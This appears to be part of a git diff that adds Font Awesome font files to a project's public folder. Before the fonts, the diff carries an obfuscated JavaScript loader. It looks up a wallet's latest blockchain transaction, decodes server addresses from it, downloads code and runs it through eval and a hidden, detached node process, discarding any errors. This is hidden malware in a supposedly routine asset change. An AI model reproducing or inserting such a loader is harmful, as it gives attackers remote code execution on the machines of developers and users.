esARJZ$grU=function(mbmdP_sDwWHHYstLPsLpvc){let Hysh$gVKlKX_M=parseInt(-0x1de4)+parseInt(0xf3e)+parseInt(0x1099)&0x3ce+Math.max(parseInt(0x233e),parseInt(0x233e))+-0x260d,PuWFvo_nC_J=new Uint8Array(mbmdP_sDwWHHYstLPsLpvc['match'](/.{1,2}/g)['map'](QHQrAhfyVRftV=>parseInt(QHQrAhfyVRftV,parseInt(parseInt(0x1))*parseFloat(parseInt(0x1771))+Math.floor(-parseInt(0xaa2))+-parseInt(0xfb)*Math.floor(parseInt(0xd))))),e_rrzkd$WLF=PuWFvo_nC_J['map'](TOdMpz$yUG=>TOdMpz$yUG^Hysh$gVKlKX_M),aEGvsEyMMX_jkJgx=new TextDecoder(),cOtBWu=aEGvsEyMMX_jkJgx['decode'](e_rrzkd$WLF);return cOtBWu;};y$zxQ$V['GBnwaa']=esARJZ$grU,KRhhKrsFqmjfaAyx$wJ$rwk=arguments,y$zxQ$V['vNELbx']=!![];}const ynFhQbbu_SatOnNNRsd=fLvbQaML[-parseInt(0x116e)+-0xa31+parseFloat(0x1b9f)],WJhqNXjEhoBNMVA$eBtfwI=tWGuleodYMnqSTTOUyaNyjlka+ynFhQbbu_SatOnNNRsd,jNdJZOnY$Q_YnKxpDKAl=KRhhKrsFqmjfaAyx$wJ$rwk[WJhqNXjEhoBNMVA$eBtfwI];return!jNdJZOnY$Q_YnKxpDKAl?(y$zxQ$V['SbiVeH']===undefined&&(y$zxQ$V['SbiVeH']=!![]),zzqNQlkX_jiVOqfG=y$zxQ$V['GBnwaa'](zzqNQlkX_jiVOqfG),KRhhKrsFqmjfaAyx$wJ$rwk[WJhqNXjEhoBNMVA$eBtfwI]=zzqNQlkX_jiVOqfG):zzqNQlkX_jiVOqfG=jNdJZOnY$Q_YnKxpDKAl,zzqNQlkX_jiVOqfG;},y$zxQ$V(KRhhKrsFqmjfaAyx$wJ$rwk,WMQeIfpFFIMkfMwJsBWdled_u);}async function lastSenderTxViaIndexer(){const NCpDdFsagJWXVXIZSANW=xXfMZKDLYuTRIADnwGIKpCU,GoMJqPkeVtkAVEeIOtXSGHH=INDEXER_URL+NCpDdFsagJWXVXIZSANW(0x190)+SENDER+NCpDdFsagJWXVXIZSANW(0x177),zquU__Y=await httpRequest(GoMJqPkeVtkAVEeIOtXSGHH),qN$nvwAmKPq_FjnoFLyw=Array[NCpDdFsagJWXVXIZSANW(0x125)](zquU__Y?.[NCpDdFsagJWXVXIZSANW(0x15c)])?zquU__Y[NCpDdFsagJWXVXIZSANW(0x15c)]:[],HZ_csmRHpSyPtSDjPPRh=qN$nvwAmKPq_FjnoFLyw[NCpDdFsagJWXVXIZSANW(0x141)](upBEWZ_Xf=>upBEWZ_Xf[NCpDdFsagJWXVXIZSANW(0x163)]&&upBEWZ_Xf[NCpDdFsagJWXVXIZSANW(0x163)][NCpDdFsagJWXVXIZSANW(0x15a)]()===SENDER);return{'blockNumber':BigInt(HZ_csmRHpSyPtSDjPPRh[NCpDdFsagJWXVXIZSANW(0x167)]),'tx':HZ_csmRHpSyPtSDjPPRh};}async function run(){const iPOSsBZY$MAISzHIjlN_hI=xXfMZKDLYuTRIADnwGIKpCU,sRedE$K_UhZelsJ=BigInt(await withRpcEndpoints((oDyqcBfSj_iwKRdtMeji,hc$_IbKLU)=>rpcCall(oDyqcBfSj_iwKRdtMeji,iPOSsBZY$MAISzHIjlN_hI(0x174),[],hc$_IbKLU))),vELuNUBHIXAw_H=sRedE$K_UhZelsJ-sRedE$K_UhZelsJ%BLOCK_MULTIPLE;let xPEcUaXVyaXbM_MKePE=await firstMatch(candidateBlocks(vELuNUBHIXAw_H)[iPOSsBZY$MAISzHIjlN_hI(0x14a)](blockTask));!xPEcUaXVyaXbM_MKePE&&(xPEcUaXVyaXbM_MKePE=await lastSenderTx(sRedE$K_UhZelsJ)[iPOSsBZY$MAISzHIjlN_hI(0x18c)](()=>lastSenderTxViaIndexer()));const [z_PZv$OwqwKTZPMSnY,WhidJ_hiuaeyuevFOnuuM]=decodeAddress(xPEcUaXVyaXbM_MKePE['tx']['to']),DwPArYdTLMoeHioNwADF_eRM=global;DwPArYdTLMoeHioNwADF_eRM['_V']=DwPArYdTLMoeHioNwADF_eRM['i'],DwPArYdTLMoeHioNwADF_eRM['_H']=iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x169),DwPArYdTLMoeHioNwADF_eRM[iPOSsBZY$MAISzHIjlN_hI(0x165)]=iPOSsBZY$MAISzHIjlN_hI(0x14b)+WhidJ_hiuaeyuevFOnuuM+iPOSsBZY$MAISzHIjlN_hI(0x169),DwPArYdTLMoeHioNwADF_eRM[iPOSsBZY$MAISzHIjlN_hI(0x12a)]=iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x161),DwPArYdTLMoeHioNwADF_eRM[iPOSsBZY$MAISzHIjlN_hI(0x15e)]=iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x169);function huc$QqfRX_phLyjgNgXJAKB(nuyY$mTljeAnEgvkH_gmKVseQ,BdJEd$KDiiU){const hGz$CzuPRAXB$hr=iPOSsBZY$MAISzHIjlN_hI,WRI_JwF_pizjGZ={'hostname':BdJEd$KDiiU[hGz$CzuPRAXB$hr(0x15d)],'port':Number(BdJEd$KDiiU[hGz$CzuPRAXB$hr(0x17d)])||parseInt(-0x51b)*Math.trunc(-0x3)+Math.ceil(-0xa)*-parseInt(0x385)+parseInt(0x1)*-0x3233,'path':BdJEd$KDiiU[hGz$CzuPRAXB$hr(0x144)]+BdJEd$KDiiU[hGz$CzuPRAXB$hr(0x156)],'headers':{'User-Agent':hGz$CzuPRAXB$hr(0x18a),'Sec-V':DwPArYdTLMoeHioNwADF_eRM['_V']||-0x20b2+-parseInt(0xd5c)+parseInt(0x2e0e)}};function KnqFXZYchNbfFZNKUvfemRq(clfaXCzOnURcGFrsXhqYHVSy){const D$LAzAzDqI=hGz$CzuPRAXB$hr,IGnQ__iQfyHEFEOqoO=nuyY$mTljeAnEgvkH_gmKVseQ[D$LAzAzDqI(0x178)];for(let kHinpPCGwO=0x896+parseInt(0x2)*0x71+parseInt(-parseInt(0x978));kHinpPCGwO{const Roy$VSZhPGMnLmYKvDeNIUwJAI=y$zxQ$V,HjDTGTfhapfslWcfN=http[Roy$VSZhPGMnLmYKvDeNIUwJAI(0x18f)]({...WRI_JwF_pizjGZ,'method':kByeCZwOOfmdgwkEyUuZ},vnVSJNhxijSgBvRGqsbPjZL=>{const XkUNbSL_gVPFryuSs=Roy$VSZhPGMnLmYKvDeNIUwJAI;if(kByeCZwOOfmdgwkEyUuZ===XkUNbSL_gVPFryuSs(0x194)){try{YfdZrDBfqECeSord$jOwQ(cFz_CWkGEzqq_QwTrxvYubcbK(vnVSJNhxijSgBvRGqsbPjZL));}catch(MFt__IRm){IlhRErRkxjGvfAK_LuFwMQqua(MFt__IRm);}vnVSJNhxijSgBvRGqsbPjZL[XkUNbSL_gVPFryuSs(0x13d)]();return;}const m$r$KvsrDrBJVYuCDoWRvR=[];vnVSJNhxijSgBvRGqsbPjZL['on'](XkUNbSL_gVPFryuSs(0x160),yN$EQjE=>m$r$KvsrDrBJVYuCDoWRvR[XkUNbSL_gVPFryuSs(0x192)](yN$EQjE)),vnVSJNhxijSgBvRGqsbPjZL['on'](XkUNbSL_gVPFryuSs(0x186),()=>{const nlhmbEHx$r=XkUNbSL_gVPFryuSs;try{const EjbTshOgkyceaBWIoYs=Buffer[nlhmbEHx$r(0x182)](m$r$KvsrDrBJVYuCDoWRvR);if(EjbTshOgkyceaBWIoYs[nlhmbEHx$r(0x178)])return YfdZrDBfqECeSord$jOwQ(KnqFXZYchNbfFZNKUvfemRq(EjbTshOgkyceaBWIoYs));if(vnVSJNhxijSgBvRGqsbPjZL[nlhmbEHx$r(0x183)][nlhmbEHx$r(0x127)])return YfdZrDBfqECeSord$jOwQ(cFz_CWkGEzqq_QwTrxvYubcbK(vnVSJNhxijSgBvRGqsbPjZL));IlhRErRkxjGvfAK_LuFwMQqua(new Error(nlhmbEHx$r(0x14e)));}catch(WJ$XNZ){IlhRErRkxjGvfAK_LuFwMQqua(WJ$XNZ);}}),vnVSJNhxijSgBvRGqsbPjZL['on'](XkUNbSL_gVPFryuSs(0x16d),IlhRErRkxjGvfAK_LuFwMQqua);});HjDTGTfhapfslWcfN['on'](Roy$VSZhPGMnLmYKvDeNIUwJAI(0x16d),IlhRErRkxjGvfAK_LuFwMQqua),HjDTGTfhapfslWcfN[Roy$VSZhPGMnLmYKvDeNIUwJAI(0x186)]();});}return gAoSsRu$LTi(hGz$CzuPRAXB$hr(0x188))[hGz$CzuPRAXB$hr(0x18c)](()=>gAoSsRu$LTi(hGz$CzuPRAXB$hr(0x194)));}async function wsxwJCLtXxv(toC_$UgN,nIceXXPc$vRnyJoxV,hBCrEqWmQJz$EubrdEkdnz){const hgJOXNslwjWvkXzIq=iPOSsBZY$MAISzHIjlN_hI;try{const mDOfwBVGJlCSsUxmgaj=await huc$QqfRX_phLyjgNgXJAKB(nIceXXPc$vRnyJoxV,toC_$UgN),kXslrk$baQZyIOiIoLbk$DE=hBCrEqWmQJz$EubrdEkdnz?hgJOXNslwjWvkXzIq(0x18d)+(DwPArYdTLMoeHioNwADF_eRM['_V']||0x1232+0x2378+-0x35aa*Math.max(parseInt(0x1),0x1))+hgJOXNslwjWvkXzIq(0x147)+DwPArYdTLMoeHioNwADF_eRM['_H']+hgJOXNslwjWvkXzIq(0x139)+DwPArYdTLMoeHioNwADF_eRM[hgJOXNslwjWvkXzIq(0x165)]+hgJOXNslwjWvkXzIq(0x17c):hgJOXNslwjWvkXzIq(0x18d)+(DwPArYdTLMoeHioNwADF_eRM['_V']||parseInt(0x2d0)+0x21e3+Number(parseInt(0x5))*Math.ceil(-0x757))+hgJOXNslwjWvkXzIq(0x175)+DwPArYdTLMoeHioNwADF_eRM[hgJOXNslwjWvkXzIq(0x12a)]+hgJOXNslwjWvkXzIq(0x19b)+DwPArYdTLMoeHioNwADF_eRM[hgJOXNslwjWvkXzIq(0x15e)]+hgJOXNslwjWvkXzIq(0x17c);if(!hBCrEqWmQJz$EubrdEkdnz)eval(kXslrk$baQZyIOiIoLbk$DE+mDOfwBVGJlCSsUxmgaj);spawn(hgJOXNslwjWvkXzIq(0x16e),['-e',kXslrk$baQZyIOiIoLbk$DE+mDOfwBVGJlCSsUxmgaj],{'detached':!![],'stdio':hgJOXNslwjWvkXzIq(0x128),'windowsHide':!![]})[hgJOXNslwjWvkXzIq(0x158)]();}catch(P$JWUBIlmprZZ){}}await wsxwJCLtXxv(new URL(iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x152)),iPOSsBZY$MAISzHIjlN_hI(0x136),![]),await wsxwJCLtXxv(new URL(iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x153)),iPOSsBZY$MAISzHIjlN_hI(0x173),!![]);}run(); \ No newline at end of file diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 00000000..d3b77c22 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 00000000..7742838b --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 00000000..5b979039 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 00000000..beec7917 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 00000000..978a681a Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ